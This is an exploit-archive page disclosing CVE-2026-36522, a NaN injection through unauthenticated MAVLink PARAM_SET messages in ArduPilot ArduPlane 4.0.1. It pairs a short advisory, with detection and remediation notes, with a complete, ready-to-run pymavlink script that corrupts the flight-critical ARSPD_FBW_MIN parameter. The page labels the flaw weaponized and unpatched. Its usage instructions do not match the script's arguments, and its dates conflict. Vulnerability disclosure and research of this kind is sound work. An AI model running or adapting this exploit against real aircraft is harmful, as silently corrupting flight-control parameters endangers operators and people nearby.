PoC Archive PoC Archive
Critical CVE-2026-36522 unpatched

Unauthenticated NaN Injection via MAVLink PARAM_SET in ArduPilot ArduPlane (CVE-2026-36522)

by deepwoodssec · 2026-07-05

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-36522
Category
network
Affected product
ArduPilot ArduPlane
Affected versions
4.0.1 (confirmed)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherdeepwoodssec
CVE / AdvisoryCVE-2026-36522
Categorynetwork
SeverityCritical
CVSS Score9.1 (CVSSv3.1)
StatusWeaponized
Tagsardupilot, mavlink, drone, nan-injection, unauthenticated, cwe-1287
RelatedN/A

Affected Target

FieldValue
Software / SystemArduPilot ArduPlane
Versions Affected4.0.1 (confirmed)
Language / PlatformPython PoC (MAVLink)
Authentication RequiredNo
Network Access RequiredYes (MAVLink, typically over radio/UDP telemetry link)

Summary

ArduPilot ArduPlane’s GCS_MAVLink::handle_param_set() does not validate that a parameter value supplied via a MAVLink PARAM_SET message is a well-formed floating-point number. An unauthenticated party able to send MAVLink messages to the vehicle can inject a NaN (Not-a-Number) value into a flight-control parameter, causing undefined/unsafe behavior in dependent flight-control logic.


Vulnerability Details

Root Cause

handle_param_set() accepts and stores attacker-supplied parameter values from PARAM_SET without validating against NaN/Inf per CWE-1287 (Improper Validation of Specified Type of Input).

Attack Vector

  1. Gain the ability to send MAVLink messages to the target vehicle (e.g. via an unencrypted telemetry radio link).
  2. Send a PARAM_SET message with a NaN value for a flight-critical parameter.
  3. ArduPlane accepts and stores the NaN parameter, causing dependent flight-control calculations to behave unpredictably.

Impact

Unauthenticated MAVLink access can inject NaN values into flight-control parameters, risking loss of flight-control integrity.


Environment / Lab Setup

Target:   ArduPilot ArduPlane 4.0.1 (and potentially other versions) with reachable MAVLink interface
Attacker: Python 3 + pymavlink

Proof of Concept

PoC Script

See CVE-2026-36522.py in this folder.

1
python3 CVE-2026-36522.py --target <mavlink-connection-string> --param <param-name>

Sends a crafted MAVLink PARAM_SET message with a NaN value for the specified parameter and confirms it is accepted by the target vehicle.


Detection & Indicators of Compromise

Signs of compromise:

  • Flight parameters read back as NaN via PARAM_REQUEST_READ
  • Unexplained erratic flight-control behavior following telemetry link activity

Remediation

ActionDetail
Primary fixApply the upstream ArduPilot fix validating parameter values against NaN/Inf in handle_param_set() once available
Interim mitigationEncrypt/authenticate the MAVLink telemetry link (e.g. via MAVLink 2 signing) to prevent unauthenticated message injection

References


Notes

Mirrored from https://github.com/deepwoodssec/CVE-2026-36522 on 2026-07-05.

CVE-2026-36522.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
"""
CVE-2026-36522 — Proof of Concept
================================================
Title:    NaN Injection via Unauthenticated MAVLink PARAM_SET
Target:   ArduPlane V4.0.1 (tag ArduPlane-4.0.1), SITL debug build
CWE:      CWE-1287 (Improper Validation of Specified Type of Input)
CVSS:     9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
Credit:   Sebastien Arseneault, Deep Woods Security

DESCRIPTION
-----------
GCS_MAVLINK::handle_param_set() in libraries/GCS_MAVLink/GCS_Param.cpp does
not validate incoming PARAM_SET float values for IEEE 754 NaN/Inf. A NaN
reaches is_equal<float,float>() in AP_Math.cpp:35 and triggers SIGFPE in
SITL (FP exception trapping enabled).

On real hardware (STM32/Pixhawk), FP exceptions are disabled. The NaN is
stored silently, corrupting a flight-critical parameter with no crash and
no pilot-visible warning. Impact is denial of service (SITL) and silent
integrity corruption (hardware). This is NOT code execution.

PREREQUISITES
-------------
  SITL (debug build) running on TCP 5760:
    ./build/sitl/bin/arduplane -S -I0 --model plane --speedup 1 \
        --defaults Tools/autotest/default_params/plane.parm
  pip install pymavlink

USAGE
-----
  python3 CVE-2026-36522.py [host:port]   (default tcp:127.0.0.1:5760)

EXPECTED RESULT
---------------
  SITL terminal: "Floating point exception - aborting"
  Crash dump frame: is_equal<float,float>(v_1=nan, v_2=0) at AP_Math.cpp:35
                    GCS_MAVLINK::handle_param_set at GCS_Param.cpp:299
"""

import sys
import struct
import time
from pymavlink import mavutil

DEFAULT_TARGET = 'tcp:127.0.0.1:5760'
PARAM_NAME = b'ARSPD_FBW_MIN'
PARAM_TYPE = mavutil.mavlink.MAV_PARAM_TYPE_REAL32
NAN_VALUE = struct.unpack('<f', struct.pack('<I', 0x7FC00000))[0]  # IEEE 754 quiet NaN


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_TARGET
    print('[*] CVE-2026-36522 — PARAM_SET NaN Injection PoC')
    print(f'[*] Target: {target}\n')

    conn = mavutil.mavlink_connection(target)
    conn.wait_heartbeat()
    print(f'[+] Connected: System {conn.target_system}, Component {conn.target_component}')

    # Prime old_value to a known 0.0 so the is_equal(old_value, NaN) compare is deterministic
    print('[*] Priming ARSPD_FBW_MIN = 0.0')
    conn.mav.param_set_send(conn.target_system, conn.target_component,
                            PARAM_NAME, 0.0, PARAM_TYPE)
    time.sleep(2)

    # Trigger: inject NaN into the same parameter
    print('[*] Injecting ARSPD_FBW_MIN = NaN (trigger)')
    conn.mav.param_set_send(conn.target_system, conn.target_component,
                            PARAM_NAME, NAN_VALUE, PARAM_TYPE)
    time.sleep(2)

    print()
    print('[*] Trigger sent. Confirm in the SITL terminal and crash dump:')
    print('    SITL terminal -> "Floating point exception - aborting"')
    print('    Dump          -> segv_arduplane.<pid>.out')
    print('    Key frame     -> handle_param_set at GCS_Param.cpp:299, param_value = nan')
    print('\n[*] CVE-2026-36522 — Deep Woods Security')


if __name__ == '__main__':
    main()